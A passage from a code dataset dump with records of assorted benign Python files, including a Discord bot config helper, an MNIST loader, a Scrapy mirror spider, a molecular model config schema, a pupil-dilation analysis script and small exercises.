Iterable):\n return f'**{param}** ({origin.__name__.capitalize()}[{typing.get_args(hint)[0].__name__}]):\\n'\n\n else:\n return f'**{param}** ({hint.__name__}) = '\n\n def _render_val(self, val) -> str:\n if isinstance(val, (discord.abc.Messageable, discord.Role)):\n return val.mention\n elif isinstance(val, discord.Message):\n return f'[Message]({val.jump_url})'\n else:\n return val\n\n async def _render_arg(self, param) -> str:\n arg = getattr(self, param)\n\n if inspect.iscoroutine(arg):\n arg = await arg\n\n if isinstance(arg, Iterable):\n return '\\n'.join([f'- {self._render_val(s)}' for s in arg])\n else:\n return self._render_val(arg)\n\n async def _render_param(self, param):\n return await self._render_hint(param) \\\n + str(await self._render_arg(param)) \\\n + '\\n'\n\n async def _send_params(self, ctx):\n e = self._embed\n e.title += ' \\N{WHITE HEAVY CHECK MARK}' if self.check else ' \\N{CROSS MARK}'\n e.description = ''\n\n for param, hint in self.type_hints.items():\n e.description += await self._render_param(param)\n\n e.description += ''\n await ctx.send(embed=e)\n\n async def _convert_argument(self, ctx, converter, args, param) -> Any:\n if converter is discord.Message:\n converter = discord.TextChannel\n\n if converter is str:\n args = ' '.join(args)\n else:\n args = args[0]\n\n converted = await ctx.command._actual_conversion(ctx, converter, args, param)\n\n if converter is discord.Message:\n return await converted.fetch_message(args[1])\n\n return converted\n\n def _make_key(self, param, hint):\n if issubclass(hint, discord.abc.Snowflake):\n return f'{param}_id'\n\n return f'{param}'\n\n def _serialize_param(self, param) -> dict:\n hint = self.type_hints[param]\n\n if typing.get_origin(hint) is list:\n hint = typing.get_args(hint)[0]\n\n return f'{self._make_key(param, hint)}s'\n\n return self._make_key(param, hint)\n\n def _make_val(self, val):\n if isinstance(val, discord.Message):\n return f'{val.channel.id}:{val.id}'\n\n if issubclass(type(val), discord.abc.Snowflake):\n return val.id\n\n return val\n\n def _serialize_arg(self, val):\n if isinstance(val, list):\n return [self._make_val(v) for v in val]\n\n return self._make_val(val)\n\n async def _update_config(self, param, arg) -> NoReturn:\n data = {f'{self.name}.{self._serialize_param(param)}': self._serialize_arg(arg)}\n\n doc = await self._bot.db.guild_config.find_one_and_update(\n {\"id\": self._guild_id},\n {\"$set\": data},\n upsert = True,\n return_document = ReturnDocument.AFTER\n )\n\n self.from_doc(doc)\n\n\n @classmethod\n async def from_db(cls, guild_id, bot):\n self = cls()\n self._guild_id = guild_id\n self._bot = bot\n\n doc = await bot.guild_config(guild_id)\n self.from_doc(doc)\n\n log.debug(f'{self.__class__.__name__} - Loaded guild \"{self.guild.name}\" ({self.guild.id}) config from db')\n\n return self\n\n\n def from_doc(self, doc: Dict) -> NoReturn:\n doc = doc.get(self.name, {})\n for param, hint in self.type_hints.items():\n param_id = self._serialize_param(param)\n\n if hasattr(self, param):\n default = getattr(self, param)\n elif typing.get_origin(hint) is list:\n default = []\n else:\n default = None\n\n arg = doc.get(param_id, default)\n\n setattr(self, param_id, arg)\n\n\n def __repr__(self):\n return f'<{self.__class__.__name__} {\" \".join([f\"{p}={getattr(self, p)}\" for p, h in self.type_hints.items()])}>'\n\n @property\n @abstractmethod\n def check(self):\n return self.enabled\n","sub_path":"cogs/utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":7650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"627356528","text":"from tensorflow.keras.datasets import mnist\nimport numpy as np\n\nclass DataLoader:\n def load(self, is_reshape=True, is_one_hot=False):\n (x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n # convert\n x_train = self._normalize(x_train)\n x_test = self._normalize(x_test)\n if is_reshape:\n x_train = x_train.reshape(x_train.shape[0], -1)\n x_test = x_test.reshape(x_test.shape[0], -1)\n if is_one_hot:\n y_train = self._one_hot(y_train)\n y_test = self._one_hot(y_test)\n \n return (x_train, y_train), (x_test, y_test)\n\n def _one_hot(self, y_):\n one_hot = np.array([[int(i == y) for i in range(10)] for y in y_], dtype=float)\n return one_hot\n \n def _normalize(self, x_):\n return x_ / 255.0\n\n\n","sub_path":"mnist/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"542994355","text":"'''\r\nScript to compare files in two folders and copy those which are not overlapping.\r\n'''\r\nimport os\r\nimport shutil\r\nsource = \"Source Path\"\r\nfdir1 = os.listdir(\"folder1\")\r\nfdir2 = os.listdir(\"folder2\")\r\ndiff = list(set(fdir2) - set(fdir1))\r\nfor file in diff:\r\n shutil.copy(os.path.join(source, file), \"Destination Path\")\r\n","sub_path":"FileCompare.py","file_name":"FileCompare.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"247888445","text":"# -*- coding: utf-8 -*-\n\n'''\nName: Poojan Gajera\nStevens ID: 10432734\nCourse: FE 595\nHW: 01\nTitle: Python Refresher\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Taking values from 0 to 360 for the cycle of sine/cosine.\nperiod = np.arange(0,2*np.pi,0.01)\n\n# Sine, Cosine and tangent Graph\nsine = np.sin(period )\ncosine = np.cos(period )\ntan = np.tan(period)\n\n#plotting sin and cosine on the same axis\nplt.plot(period,sine,period,cosine,period,tan)\n\n##creating legends\nplt.subplot().legend(['Sine','Cosine','Tangent'])\n\nplt.subplot().axhline(y=0, color='k')\nplt.subplot().axvline(x=0, color='k')\nplt.savefig(\"graph.png\")\nplt.show()\n","sub_path":"10432734_HW_1_FE_595.py","file_name":"10432734_HW_1_FE_595.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"191831243","text":"#!/usr/bin/python\n#coding=utf-8\n# @hequan\n\nfrom scrapy.spiders import Spider, Rule\nfrom scrapy.selector import Selector\nfrom scrapy.linkextractors import LinkExtractor\nimport re\nimport requests\nfrom scrapy.spiders import CrawlSpider\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\nfrom opensource_spider.items import OpensourceSpiderItem\n\nclass opensource_httpd_spider(CrawlSpider):\n # 爬虫的识别名称,必须是唯一的,在不同的爬虫中你必须定义不同的名字\n name = \"httpd_spider\" # 设置爬虫名称\n\n # 搜索的域名范围,也就是爬虫的约束区域,规定爬虫只爬取这个域名下的网页\n # http://mirrors.aliyun.com/apache/httpd/\n allowed_domains = [\"mirrors.aliyun.com\"] # 设置允许的域名\n\n # 爬取的url列表,爬虫从这里开始抓取数据,所以,第一次下载的数据将会从这些urls开始,其他子url将会从这些起始url中继承性生成\n start_urls = [\n 'http://mirrors.aliyun.com/apache/httpd/',\n ]\n\n # 解析的方法,调用的时候传入从每一个url传回的response对象作为唯一参数,负责解析并获取抓取的数据(解析为item),跟踪更多的url\n def parse(self, response):\n sel = Selector(response)\n items = []\n lvs_lists = sel.xpath('//a/@href').extract()\n for v in lvs_lists:\n if v == '../' or v == 'tmp/' or v == 'Name' or v == 'Last modified' or v == 'Description' or v == 'Parent Directory' or v == 'ChangeLog' or v == 'Size':\n continue\n\n item = OpensourceSpiderItem()\n item['orginname'] = v\n item['downurl'] = response.url + v\n item['filesize'] = 0\n items.append(item)\n\n return items\n\n\n","sub_path":"opensource_spider/spiders/opensource_httpd_spider.py","file_name":"opensource_httpd_spider.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"497990757","text":"\nimport pathlib\nimport typing\n\nfrom openff.nagl._base.base import ImmutableModel\nfrom openff.nagl.nn.gcn._base import _GCNStackMeta\nfrom openff.nagl.nn.activation import ActivationFunction\nfrom openff.nagl.features.atoms import DiscriminatedAtomFeatureType\nfrom openff.nagl.features.bonds import DiscriminatedBondFeatureType\nfrom openff.nagl.utils._types import FromYamlMixin\n\nAggregatorType = typing.Literal[\"mean\", \"gcn\", \"pool\", \"lstm\", \"sum\"]\nPostprocessType = typing.Literal[\"readout\", \"compute_partial_charges\", \"regularized_compute_partial_charges\"]\n\ntry:\n from pydantic.v1 import Field, validator\nexcept ImportError:\n from pydantic import Field, validator\n\nclass BaseLayer(ImmutableModel):\n \"\"\"Base class for single layer in the neural network\"\"\"\n hidden_feature_size: int = Field(\n description=(\n \"The feature sizes to use for each hidden layer. \"\n \"Each hidden layer will have the shape \"\n \"`n_atoms` x `hidden_feature_sizes`.\"\n )\n )\n activation_function: ActivationFunction = Field(\n description=\"The activation function to apply for each layer\"\n )\n dropout: float = Field(\n default=0.0,\n description=\"The dropout to apply after each layer\"\n )\n\n @validator(\"activation_function\", pre=True)\n def _validate_activation_function(cls, v):\n return ActivationFunction._get_class(v)\n\n\nclass ConvolutionLayer(BaseLayer):\n \"\"\"Configuration for a single convolution layer\"\"\"\n aggregator_type: AggregatorType = Field(\n default=None,\n description=\"The aggregator function to apply after each convolution\"\n )\n\n\nclass ForwardLayer(BaseLayer):\n \"\"\"Configuration for a single feedforward layer\"\"\"\n\n\nclass ConvolutionModule(ImmutableModel):\n architecture:typing.Literal[\"SAGEConv\", \"GINConv\"] = Field(\n description=\"GCN architecture to use\"\n )\n layers: typing.List[ConvolutionLayer] = Field(\n description=\"Configuration for each layer\"\n )\n\n\nclass ReadoutModule(ImmutableModel):\n pooling: typing.Literal[\"atoms\", \"bonds\"]\n layers: typing.List[ForwardLayer] = Field(\n description=\"Configuration for each layer\"\n )\n postprocess: typing.Optional[PostprocessType] = Field(\n description=\"Optional post-processing layer for prediction\"\n )\n\n # @validator(\"postprocess\", pre=True)\n # def _validate_postprocess(cls, v):\n # from openff.nagl.nn.postprocess import _PostprocessLayerMeta\n # if v is None:\n # return None\n # return _PostprocessLayerMeta._get_object(v)\n\n\nclass ModelConfig(ImmutableModel, FromYamlMixin):\n version: typing.Literal[\"0.1\"]\n atom_features: typing.List[DiscriminatedAtomFeatureType] = Field(\n description=\"Atom features to use\"\n )\n bond_features: typing.List[DiscriminatedBondFeatureType] = Field(\n description=(\n \"Bond features to use. \"\n \"Not all architectures support bond features\"\n )\n )\n convolution: ConvolutionModule = Field(\n description=\"Convolution config to pass molecular graph through\"\n )\n readouts: typing.Dict[str, ReadoutModule] = Field(\n description=\"Readout configs to map convolution representation to output\"\n )\n\n # @validator(\"atom_features\", \"bond_features\", pre=True)\n # def _validate_atom_features(cls, v, field):\n # if isinstance(v, dict):\n # v = list(v.items())\n # all_v = []\n # for item in v:\n # if isinstance(item, dict):\n # all_v.extend(list(item.items()))\n # elif isinstance(item, (str, field.type_, type(field.type_))):\n # all_v.append((item, {}))\n # else:\n # all_v.append(item)\n\n # instantiated = []\n # for klass, args in all_v:\n # if isinstance(klass, (AtomFeature, BondFeature)):\n # instantiated.append(klass)\n # else:\n # klass = type(field.type_)._get_class(klass)\n # if not isinstance(args, dict):\n # item = klass._with_args(args)\n # else:\n # item = klass(**args)\n # instantiated.append(item)\n # return instantiated\n \n def to_simple_dict(self):\n \"\"\"\n Create a simple dictionary representation of the model config\n\n This simplifies the representation of atom and bond features\n \"\"\"\n dct = self.dict()\n dct[\"atom_features\"] = tuple(\n [\n {f.feature_name: f.dict(exclude={\"feature_name\"})}\n for f in self.atom_features\n ]\n )\n\n dct[\"bond_features\"] = tuple(\n [\n {f.feature_name: f.dict(exclude={\"feature_name\"})}\n for f in self.bond_features\n ]\n )\n new_dict = dict(dct)\n for k, v in dct.items():\n if isinstance(v, pathlib.Path):\n v = str(v.resolve())\n new_dict[k] = v\n return new_dict\n \n @property\n def n_atom_features(self) -> int:\n \"\"\"The number of features used to represent an atom\"\"\"\n lengths = [len(feature) for feature in self.atom_features]\n n_features = sum(lengths)\n return n_features","sub_path":"openff/nagl/config/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"396833070","text":"from __future__ import annotations\nfrom typing import List, Generator, Union\nfrom datetime import datetime, timedelta\nimport pvlib as pv\nimport pandas as pd\nimport dataclasses\nimport numpy as np\nimport abc\n\n\n@dataclasses.dataclass()\nclass Path:\n points: List[pv.location.Location]\n timestamps: List[Union[pd.Timestamp, datetime]]\n\n @classmethod\n @abc.abstractmethod\n def create(cls, *args, **kwargs) -> LinearPath:\n pass\n\n @property\n def lats_lons(self) -> (List[float], List[float]):\n lats = [point.latitude for point in self.points]\n lons = [point.longitude for point in self.points]\n\n return lats, lons\n\n def __iter__(self) -> Generator[(pd.Timestamp, pv.location.Location), None, None]:\n yield from zip(self.timestamps, self.points)\n\n\nclass LinearPath(Path):\n @classmethod\n def create(cls, start_loc: pv.location.Location, end_loc: pv.location.Location,\n start_time: datetime, end_time: datetime,\n npoints=None) -> LinearPath:\n \"\"\"\n\n :param start_loc:\n :param end_loc:\n :param start_time:\n :param end_time:\n :param npoints: Number of points on the path. Defaults to None, for auto.\n :return:\n \"\"\"\n\n time_range = end_time - start_time\n\n if npoints is None: # automatically determine appropriate number of points\n npoints = int(time_range / timedelta(minutes=60))\n\n lats = np.linspace(start_loc.latitude, end_loc.latitude, npoints)\n\n lons = np.linspace(start_loc.longitude, end_loc.longitude, npoints)\n\n points = [pv.location.Location(lat, lon) for lat, lon in zip(lats, lons)]\n\n delta = time_range / npoints\n times = [start_time + (delta * n) for n in range(npoints)]\n\n return cls(points=points, timestamps=times)\n\n\n@dataclasses.dataclass()\nclass SegmentedPath(Path):\n segments: List[LinearPath] = dataclasses.field(default_factory=list)\n\n @classmethod\n def create(cls, start_loc: pv.location.Location, start_time: datetime) -> SegmentedPath:\n instance = cls([], [])\n instance.points = [start_loc]\n instance.timestamps = [start_time]\n return instance\n\n def append_point(self, loc: pv.location.Location, time: datetime, npoints=None):\n previous_loc = self.points[-1]\n previous_time = self.timestamps[-1]\n line = LinearPath.create(previous_loc, loc, previous_time, time, npoints=npoints)\n self.points.extend(line.points[1:])\n self.timestamps.extend(line.timestamps[1:])\n self.segments.append(line)\n\n","sub_path":"gui_and_analytics/analytics/location/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"533228489","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\nfrom jaratoolbox import loadbehavior\nimport os\nimport facemapanalysis as fmap\nimport sys\n\ndef onset_values(signalArray): \n\n '''\n Helps to find onset start values of the sync singal in any given array: \n Args: \n SignalArray (np.array) = array that contains data of the sync signal\n Returns:\n onsetStartValues (np.array) = an array of the indices containing the start onset values of the sync signal.\n ''' \n firstIndexValue = 0 \n lastIndexValue = len(signalArray)-1 \n stepNumber = 2\n startIndicesValues = range(firstIndexValue, lastIndexValue, stepNumber)\n startIndicesVec = np.array(startIndicesValues)\n onsetStartValues = np.take(signalArray, startIndicesVec)\n return (onsetStartValues)\n \ndef eventlocked_signal(timeVec, signal, eventOnsetTimes, windowTimeRange):\n '''\n Make array of signal traces locked to an event.\n Args:\n timeVec (np.array): time of each sample in the signal.\n signal (np.array): samples of the signal to process.\n eventOnsetTimes (np.array): time of each event.\n windowTimeRange (list or np.array): 2-element array defining range of window to extract.\n Returns: \n windowTimeVec (np.array): time of each sample in the window w.r.t. the event.\n lockedSignal (np.array): extracted windows of signal aligned to event. Size (nSamples,nEvents)\n '''\n if (eventOnsetTimes[0] + windowTimeRange[0]) < timeVec[0]:\n raise ValueError('Your first window falls outside the recorded data.')\n if (eventOnsetTimes[-1] + windowTimeRange[-1]) > timeVec[-1]:\n raise ValueError('Your last window falls outside the recorded data.')\n samplingRate = 1/(timeVec[1]-timeVec[0])\n windowSampleRange = samplingRate*np.array(windowTimeRange) # units: frames\n windowSampleVec = np.arange(*windowSampleRange, dtype=int) # units: frames\n windowTimeVec = windowSampleVec/samplingRate # Units: time\n nSamples = len(windowTimeVec) # time samples / trial\n nTrials = len(eventOnsetTimes) # number of times the sync light went off\n lockedSignal = np.empty((nSamples,nTrials))\n for inde,eventTime in enumerate(eventOnsetTimes):\n eventSample = np.searchsorted(timeVec, eventTime) # eventSample = index at which the synch turns on\n thiswin = windowSampleVec + eventSample # indexes of window\n lockedSignal[:,inde] = signal[thiswin]\n return (windowTimeVec, lockedSignal)\n\n\ndef find_valid_windows(timeVec, eventOnsetTimes, windowTimeRange):\n \"\"\"\n Find windows that lie within the timeVec.\n Args:\n timeVec (np.array): time of each sample in the signal.\n eventOnsetTimes (np.array): time of each event.\n windowTimeRange (list or np.array): 2-element array defining range of window to extract.\n Returns: \n validWindows (np.array): array of booleans that is True if the window falls within.\n\n \"\"\"\n return (validWindows)\n\n\n\ndef eventlocked_signalold(timeVec, signal, eventOnsetTimes, windowTimeRange):\n '''\n Make array of signal traces locked to an event.\n Args:\n timeVec (np.array): time of each sample in the signal.\n signal (np.array): samples of the signal to process.\n eventOnsetTimes (np.array): time of each event.\n windowTimeRange (list or np.array): 2-element array defining range of window to extract.\n Returns: \n windowTimeVec (np.array): time of each sample in the window w.r.t. the event.\n lockedSignal (np.array): extracted windows of signal aligned to event. Size (nSamples,nEvents)\n '''\n samplingRate = 1/(timeVec[1]-timeVec[0])\n windowSampleRange = samplingRate*np.array(windowTimeRange) # units: frames\n windowSampleVec = np.arange(*windowSampleRange, dtype=int) # units: frames\n windowTimeVec = windowSampleVec/samplingRate # Units: time\n nSamples = len(windowTimeVec) # time samples / trial\n nTrials = len(eventOnsetTimes) # number of times the sync light went off\n lockedSignal = np.empty((nSamples,nTrials))\n discards = [] #DB ADDED\n for inde,eventTime in enumerate(eventOnsetTimes):\n eventSample = np.searchsorted(timeVec, eventTime) # eventSample = index at which the synch turns on\n thiswin = windowSampleVec + eventSample # indexes of window\n if np.logical_and(np.min(thiswin) > 0, np.max(thiswin) < len(signal)): # DB ADDED\n lockedSignal[:,inde] = signal[thiswin] # DB ADDED\n else: # DB ADDED\n discards.append(inde) # DB ADDED\n lockedSignal_trim = np.delete(lockedSignal,discards,1) # DB ADDED\n return (windowTimeVec, lockedSignal_trim)\n \ndef find_prepost_values(timeArray, dataArray, preLimDown, preLimUp, postLimDown, postLimUp): \n \n ''' \n Obtain pupil data before and after stimulus \n Args: \n timeArray (np.array): array of the time window to evaluate pupil area obtained from event_locked \n dataArray (np.array): array of the pupil data obtained from event_locked function \n preLimDown (int or float): first number of the time interval to evaluate before stimulus onset \n preLimUp (int or float): second number of the time interval to evaluate before stimulus onset\n postLimDown (int or float): first number of the time interval to evaluate after stimulus onset \n postLimUp (int or float): second number of the time interval to evaluate after stimulus onset \n Returns: \n preData (np.array): array with the pupil data before stimulus \n postData (np.array): array with the pupil data after stimulus \n ''' \n preBool = np.logical_and(preLimDown <= timeArray, timeArray < preLimUp) \n postBool = np.logical_and(postLimDown <= timeArray, timeArray < postLimUp) \n preValuesIndices = np.argwhere(preBool == True) \n postValuesIndices = np.argwhere(postBool == True) \n preProcessedPreValues = dataArray[preValuesIndices] \n preProcessedPostValues = dataArray[postValuesIndices] \n preData = preProcessedPreValues.reshape(preValuesIndices.shape[0], dataArray.shape[1]) \n postData = preProcessedPostValues.reshape(postValuesIndices.shape[0], dataArray.shape[1]) \n return(preData, postData)\n\ndef freqs_and_meanParea(freqsArray, meanPareaVariable, freq1, freq2, freq3, freq4, freq5): \n '''\n Creates arrays containing the pupil area for each tested frequency\n Args:\n freqsArray (np.array): array containing the tested frequencies\n meanPareaVariable (np.array): array containing the average pupil size\n freq1..5 (int): frequencies tested\n \n returns:\n arrValues1..5 (np.array): one array per frequency tested (freq1..5) that contains the pupil size for the given frequency\n '''\n \n indicesFreq1 = np.argwhere(freq1 == freqsArray) \n indicesFreq2 = np.argwhere(freq2 == freqsArray)\n indicesFreq3 = np.argwhere(freq3 == freqsArray) \n indicesFreq4 = np.argwhere(freq4 == freqsArray) \n indicesFreq5 = np.argwhere(freq5 == freqsArray) \n newIndexArr1 = np.take(meanPareaVariable, indicesFreq1) \n newIndexArr2 = np.take(meanPareaVariable, indicesFreq2) \n newIndexArr3 = np.take(meanPareaVariable, indicesFreq3) \n newIndexArr4 = np.take(meanPareaVariable, indicesFreq4) \n newIndexArr5 = np.take(meanPareaVariable, indicesFreq5)\n arrValues1 = newIndexArr1.flatten()\n arrValues2 = newIndexArr2.flatten() \n arrValues3 = newIndexArr3.flatten() \n arrValues4 = newIndexArr4.flatten() \n arrValues5 = newIndexArr5.flatten()\n return(arrValues1, arrValues2, arrValues3, arrValues4, arrValues5)\n\n\ndef normalize_data(pupilArea, valuesToNormalize): \n minVal = np.amin(pupilArea) \n maxVal = np.amax(pupilArea) \n rangeValues = maxVal - minVal \n listData = [] \n for i in valuesToNormalize: \n substractMin = i - minVal \n newData = substractMin/rangeValues\n listData.append(newData) \n normalizedData = np.asarray(listData) \n return(normalizedData)\n\n \ndef comparison_plot(time, valuesData1, pVal): \n ''' \n Creates 1 figure with 3 plots \n Args: \n time = vector values for x axis \n valuesData1 (np.array) = vector values for y axis of the first plot \n valuesData2 (np.array)= vector values for y axis of the second plot\n valuesData3 (np.array)= vector values for y axis of the third plot\n returns: \n plt.show() = 1 figure with 3 plots using the input data \n ''' \n labelsSize = 16\n fig, subplt = plt.subplots(1,1)\n fig.set_size_inches(9.5, 7.5, forward = True)\n sp = np.round(pVal, decimals=17)\n label1 = filename,'pval:',sp\n \n subplt.plot(time, valuesData1, color = 'g', label = label1, linewidth = 4)\n\n subplt.set_xlabel('Time (s)', fontsize = labelsSize)\n subplt.set_ylabel('Pupil Area', fontsize = labelsSize)\n subplt.set_title('Pupil behavior: ' + filename, fontsize = labelsSize)\n plt.suptitle('Mouse = pure013. Data Collected 2022-07-01.', fontsize = labelsSize)\n plt.grid(b = True)\n #plt.ylim([550, 650])\n plt.xticks(fontsize = labelsSize)\n plt.yticks(fontsize = labelsSize)\n# plt.legend()\n #plt.legend(prop ={\"size\":10}, bbox_to_anchor=(1.0, 0.8))\n #plt.savefig('comparisonPure004Plot', format = 'pdf', dpi = 50)\n plt.show() \n return(plt.show())\n \ndef barScat_plots(firstPlotMeanValues1, firstPlotMeanValues2, xlabel1, xlabel2, firstPlotStdData1, firstPlotStdData2, pVal):\n '''\n Plot bar plots\n Args:\n MeanValues (int or float): number representing the average of the data to plot\n xlabel1 (string): name of the first condition to compare\n xlabel2 (string): name of the second condition to compare\n StdData (np.array): values to calculate the standard deviation from\n pVal (float or int): p-value for each one of the animals\n Returns:\n plt.show(): three bar plots within one figure\n '''\n barLabelsFontSize = 14\n meanPreSignal1 = firstPlotMeanValues1.mean(axis = 0) \n meanPostSignal1 = firstPlotMeanValues2.mean(axis = 0)\n preSignalStd1 = np.std(firstPlotStdData1) \n postSignalStd1 = np.std(firstPlotStdData2) \n barMeanValues1 = [meanPreSignal1, meanPostSignal1] \n stdErrors1 = [preSignalStd1, postSignalStd1] \n shortPval1 = np.round(pVal, decimals=3)\n pValue1 = 'P-value:', shortPval1\n dataPlot1 = [firstPlotMeanValues1, firstPlotMeanValues2] \n \n fig, barPlots = plt.subplots(1,1, constrained_layout = True, sharex = True, sharey = True)\n fig.set_size_inches(9.5, 7.5) \n barPlots.bar(xlabels, barMeanValues1, yerr = stdErrors1, color = 'g', label = pValue1) \n barPlots.errorbar(xlabels, barMeanValues1, yerr = stdErrors1, fmt='none', capsize=5, alpha=0.5, ecolor = 'black') \n barPlots.set_title(filename, fontsize = barLabelsFontSize)\n barPlots.set_ylabel('Pupil area', fontsize = barLabelsFontSize)\n barPlots.tick_params(axis='x', labelsize=barLabelsFontSize)\n #plotcolors = firstPlotMeanValues1 - firstPlotMeanValues2\n barPlots.plot(xlabels, dataPlot1, marker = 'o', c = 'k', alpha = 0.3, linewidth = 1)\n barPlots.legend(prop ={\"size\":10})\n \n #plt.ylim(250, 800)\n plt.suptitle('pupil behavior across trials', fontsize = barLabelsFontSize)\n #plt.xlabel(\"common X\", loc = 'center')\n #plt.savefig(scatBarDict['savedName'], format = 'pdf', dpi =50)\n plt.show() \n return(plt.show())\n \ndef pupilDilation_time(timeData1, plotData1, pvalue):\n shortPval = np.round(pvalue, decimals = 6)\n lab = 'p-value', shortPval \n plt.plot(timeData1,plotData1, label = lab)\n plt.title('pure004_20220110_2Sounds: average pupil behavior') \n plt.ylabel('Pupil Area', fontsize = 13)\n plt.xlabel('Time(s)', fontsize = 13)\n plt.legend()\n plt.show() \n return(plt.show())\n\ndef PDR_kHz_plot(freqsArray, arrFreq1, arrFreq2, arrFreq3, arrFreq4, arrFreq5):\n labelsSize = 16\n fig, freqplt = plt.subplots(1, 1)\n fig.set_size_inches(9.5, 7.5, forward = True)\n label1 = filename\n \n meanPoint1 = arrFreq1.mean(axis = 0)\n meanPoint2 = arrFreq2.mean(axis = 0) \n meanPoint3 = arrFreq3.mean(axis = 0) \n meanPoint4 = arrFreq4.mean(axis = 0) \n meanPoint5 = arrFreq5.mean(axis = 0) \n valuesPlot = [meanPoint1, meanPoint2, meanPoint3, meanPoint4, meanPoint5]\n \n freqplt.plot(freqsArray, valuesPlot, marker = 'o')\n freqplt.set_title('Pupil size for 5 different frequencies: pure011_20220331', fontsize = labelsSize)\n freqplt.set_ylabel('Mean pupil Area', fontsize = labelsSize)\n freqplt.set_xlabel('Frequencies (kHz)', fontsize = labelsSize)\n plt.grid(b = True)\n plt.xticks(fontsize = labelsSize)\n plt.yticks(fontsize = labelsSize)\n plt.show() \n return(plt.show())\n# ---------------------------------------------------------------------------------------------------------------\n \n \n \n#--- loading data ---\nfileloc = '/home/jarauser/Desktop/danny_datacollection/dbtest3_pure013_2022-07-01'\nfilename = 'pure013_detectiongonogo_20220701a_dbtest3_proc.npy'\nproc = fmap.load_data(os.path.join(fileloc, filename), runchecks=False)\n\n#--- obtain pupil data ---\npArea = fmap.extract_pupil(proc)\n\n#---calculate number of frames, frame rate, and time vector---\nnframes = len(pArea) # Number of frames.\nframeVec = np.arange(0, nframes, 1) # Vector of the total frames from the video.\nframerate = 30 # frame rate of video\ntimeVec = frameVec / framerate # Time Vector to calculate the length of the video.\n\n#--- obtain values where sync signal turns on ---\n_, syncOnsetValues, _, _ = fmap.extract_sync(proc)\ntimeOfSyncOnset = timeVec[syncOnsetValues] # Provides the time values in which the sync signal turns on.\n\n#--- Align trials to the event ---\ntimeRange = np.array([-0.5, 2.0]) # Range of time window\n# run function you're creating, to restrict trials to valid trials: timeofSyncOnset[bool] \nwindowTimeVec, windowed_signal = eventlocked_signal(timeVec, pArea, timeOfSyncOnset, timeRange)\n\n\n# TO SHOW SANTIAGO:\nprint('time of last sync light:')\nprint(timeOfSyncOnset[-1])\nprint('total time of recording:')\nprint(np.max(timeVec))\nprint('total number of sounds played (times sync light blinked):')\nprint(syncOnsetValues.shape)\nprint('total number of trials included in the analysis:')\nprint(windowed_signal.shape[1])\n\n\n#sys.exit() \n\n#--- Obtain pupil pre and post stimulus values, and average size ---\n#find_prepost_values(timeArray, dataArray, preLimDown, preLimUp, postLimDown, postLimUp)\npreSignal, postSignal = find_prepost_values(windowTimeVec, windowed_signal, -0.5, 0, 1.4, 2.0)\naveragePreSignal = preSignal.mean(axis = 0)\naveragePostSignal = postSignal.mean(axis = 0)\ndataToPlot = [averagePreSignal, averagePostSignal]\nxlabels = ['Pre signal', 'Post signal']\n\n#--- Wilcoxon test to obtain statistics ---\nwstat, pval = stats.wilcoxon(averagePreSignal, averagePostSignal)\nprint('Wilcoxon value config14_1', wstat,',', 'P-value config14_1', pval)\n\n#--- Defining the correct time range for pupil's relaxation (dilation) --- DB: SEEMS TO BE FOR PLOTTING, MAYBE WE SHOULD RENAME.\ntimeRangeForPupilDilation = np.array([-12, 12])\n#def eventlocked_signal(timeVec, signal, eventOnsetTimes, windowTimeRange)\npupilDilationTimeWindowVec, pAreaDilated = eventlocked_signal(timeVec, pArea, timeOfSyncOnset, timeRangeForPupilDilation)\npAreaDilatedMean = pAreaDilated.mean(axis = 1)\n\n#--- Plotting the results ---\nOverLapPlots = comparison_plot(pupilDilationTimeWindowVec, pAreaDilatedMean, pval)\nscattBar = barScat_plots(averagePreSignal, averagePostSignal, 'pre stimulus onset', 'post stimulus onset', preSignal, postSignal, pval)\n\n#--- Finding and plotting pupil area corresponding to each tested frequency ---\n#freqValues1, freqValues2, freqValues3, freqValues4, freqValues5 = freqs_and_meanParea(freqs, averagePostSignal, 2000, 4000, 8000, 16000, 32000) \n#pAreaFreqPlot = PDR_kHz_plot(frequenciesTested, freqValues1, freqValues2, freqValues3, freqValues4, freqValues5)\n\nprint('Data averaged over ', pAreaDilated.shape[1], ' trials')\n\n\n\n\n","sub_path":"dannybrown/interim/comparison1Plot_DBcompleted.py","file_name":"comparison1Plot_DBcompleted.py","file_ext":"py","file_size_in_byte":16360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"91935238","text":"# Write a program that computes the net amount of a bank account based a transaction log from console input. \n# The transaction log format is shown as following:\n# D 100 (D --> deposit)\n# W 200 (W --> withdrawal)\n\n# Input :\n# D 300\n# D 300\n# W 200\n# D 100\n# Output : 500\n\ndepo = withd = 0\nwhile True:\n\tdata = input()\n\tif not data:\n\t\tbreak\n\tv = data.split(' ')\n\tfor i in range(len(v)):\n\t\tif v[i] is 'D':\n\t\t\tdepo += int(v[i+1])\n\t\tif v[i] is 'W':\n\t\t\twithd += int(v[i+1])\nprint(depo-withd)\n\t","sub_path":"100_17_bank.py","file_name":"100_17_bank.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"480451370","text":"\r\nimport pandas as pd\r\n\r\ndef load_masterdictionary(file_path, stopwords_file, print_flag=False, 